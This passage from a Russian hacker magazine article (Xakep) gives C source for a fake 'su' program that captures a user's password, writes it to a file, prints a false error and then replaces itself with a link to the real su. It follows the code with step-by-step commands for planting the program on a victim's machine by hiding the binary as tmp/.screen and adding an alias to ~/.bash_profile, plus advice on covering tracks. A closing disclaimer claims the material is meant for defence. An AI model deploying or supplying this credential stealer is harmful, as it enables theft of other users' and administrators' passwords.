|
Западло в Linux Forb (forb@real.xakep.ru) Xakep, номер #053, стр. 053-082-3 char longs[100]; /* Объявим также переменные для пароля и командной строки для изготовления линки */ int filep; signal(SIGINT, sigexit); /* Обработаем сигнал SIGINT */ printf("Password:"); /* Запросим пароль */ system("stty -echo"); /* Вырубим экранизацию символов, тем самым замаскировав бинарник под su стиль */ scanf("%s",pass); /* Прочитаем строку с паролем */ system("stty echo"); /* Вернем экранизацию */ printf("\r\n"); filep=fopen(PFILE,"w"); fprintf(filep,"Pass is %s\n",pass); /* Запишем пароль в файл */ fclose(filep); printf("%s\r\n",SORRY); /* Напишем отмазу, что пароль неверен :) */ strcpy(longs,""); strcat(longs,"/bin/ln -sf /bin/su "); strcat(longs,MYPATH); /* Создадим командную строку: /bin/ln -sf /bin/su MYPATH */ system(longs); /* И выполним ее */ exit(0); /* Выходим */ } void sigexit(int no) { system("stty echo"); /* Экстренно врубим экранизацию и тоже выходим :) */ printf("\r\n\r\n"); exit(0); } Если ты знаешь азы программирования в C, ты поймешь этот кусок кода без проблем. Если же не знаешь - смотри на подробный комментарий справа. Как ты, наверное, понял, этот код реализует алгоритм, описанный чуть выше. Сигнал SIGINT обрабатывается ради твоей же безопасности (если админу вдруг расхочется вводить пароль, он будет крайне удивлен отключенным echo'м на своем псевдотерминале). А теперь о правильной "инсталляции" этого творения на машине жертвы. Вначале скомпиль этот сишник в бинарник. Затем перенеси его в заранее объявленный для него путь (смотри код). Затем следует добавить алиас на вызов команды 'su', но не просто добавить, а сделать так, чтобы он добавлялся автоматически. Это можно легко реализовать, даже не имея рутовых прав, дописав bash-команду в ~/.bash_profile. Внимание! Обязательно убедись, что у пользователя в качестве шелла стоит именно bash, так как в противном случае профиль будет другим (~/.profile для sh и т.п.). Затем убедись, что пользователь может изменять значение константы PFILE (именно в этом файле будет храниться "заснифанный" пароль). Таким образом, для правильной установки тебе нужно выполнить следующую последовательность действий: # gcc su.c -o su # mkdir tmp # mv su tmp/.screen # echo 'alias su="/home/user/tmp/.screen"' >> .bash_profile Необходимость в полном пути к твоему fake-su в команде alias обусловлена тем, что пользователь может уйти из своего домашнего каталога, а лишь потом суиднуться. В таком случае, при относительном пути, система бы поругалась на неверное местоположение файла tmp/.screen, что наверняка привлекло бы внимание жертвы. И когда на следующий день ты снова вошел бы на машину и почитал свои логи, тебя, возможно, ждал бы сюрприз. После этого не забудь замести следы, удалив алиас и все свои файлы. И если все прошло успешно, то поздравляю - одной жертвой стало больше :). Внимание! Эта статья не заставляет тебя делать что-либо противозаконное, а только рассказывает о возможности той или иной ситуации. Весь вышеописанный материал ты можешь использовать только для того, чтобы защитить свою систему, но не для вторжения в чужую. И помни - старший брат следит за тобой ;). |